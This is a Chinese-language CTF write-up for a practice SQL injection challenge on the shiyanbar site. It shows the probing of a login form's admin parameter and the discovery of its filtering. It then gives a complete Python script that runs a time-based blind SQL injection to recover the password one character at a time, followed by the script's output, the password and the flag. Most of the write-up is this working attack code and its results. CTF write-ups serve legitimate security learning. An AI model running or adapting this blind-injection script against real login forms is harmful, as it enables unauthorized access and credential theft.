实验吧-看起来有点难

看起来有点难

原题链接

http://ctf5.shiyanbar.com/basic/inject/index.php

分析

测试?admin=1&pass=1&action=login报错,无法连接到数据库

测试?admin=admin'&pass=admin&action=login,报错,密码错误

这或许说明,admin=admin只要知道密码就行了。
这里本想直接用爆破,但是听说密码不是那种弱口令,或者字典的,就停了。。

还是回归sql注入。
注入点应该还是admin字段,测试一下过滤,试了一下?admin=admin' union select 1,2,3 --+&pass=admin&action=login

弹窗警告了!然后过滤了select,剩下的burp fuzz
过滤字符

空格 select

双写大小写绕不过去,而且并没有报错信息

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin%27exp(~0)%20--+%20&pass=admin&action=login
admin'exp(~0) -- 

测试?admin=admin' and sleep(5) --+发现延时了。

于是只能使用时间盲注。

#coding:utf-8
import requests
import string

str = string.ascii_lowercase+string.digits+'@_{}.*'
#print str
flag=""
print "start:"
# ## length 先爆出字段长度
# for i in range(1,20):
#   url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(8) else sleep(0) end and ''='&pass=&action=login" %i
#   try:
#       res = requests.get(url, timeout=5)
#   except:
#       print "length:%s" % i
#       break
###start:
###length:8


for i in range(1,9):
    for s in str:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login" %(i,s)
        try:
            res = requests.get(url, timeout=5)
        except:
            flag += s
            print "%s:%s"  %(i,flag)
            break
print "done.pass:"+flag

运行结果

start:
1:i
2:id
3:idn
4:idnu
5:idnue
6:idnuen
7:idnuenn
8:idnuenna
done.pass:idnuenna
[Finished in 120.3s]

得到密码idnuenna
登陆得到flag
恭喜你密码正确! KEY :!@#WwwN5f0cu5coM

flag

!@#WwwN5f0cu5coM

知识点

sql时间盲注

你可能感兴趣的:(实验吧-看起来有点难)